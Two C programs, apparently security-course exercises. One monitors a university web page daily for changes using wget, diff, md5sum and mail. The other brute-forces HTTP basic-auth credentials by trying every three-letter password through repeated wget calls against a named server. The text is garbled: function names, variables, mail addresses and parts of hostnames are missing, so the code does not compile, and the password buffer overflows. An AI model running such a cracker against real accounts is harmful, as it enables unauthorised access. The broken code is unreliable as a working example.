#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}




#include <stdio.h>

#include <stdlib.h>
int ()
{
  int i,j,k,counter =0;
  char  word[3];
  char paswd[3];	
  char get[100];
  int ;
  char username[]="";
  
  
  
  
  
				
	
	for (i = 65; i <= 122; i++)
	{
		 if(i==91) {i=97;} 
   
		for (j = 65; j <= 122; j++)
		{
		
		if(j==91) {j=97;}
      
		for (k = 65; k <= 122; k++)
		{
		 
			if(k==91) {k=97;}  
			
			 word[0] = i;
			 word[1] = j;
			 word[2] = k;
			 sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       
			 counter++;
			printf("%d )%s\n\n", counter, paswd);
			 sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);
			=system(get);
	  
			if(==0) 
			{
			printf("The Password has been cracked and it is : %s" , paswd);
			exit(0);
			}
		}
     
		}
  
	}
  
	
}

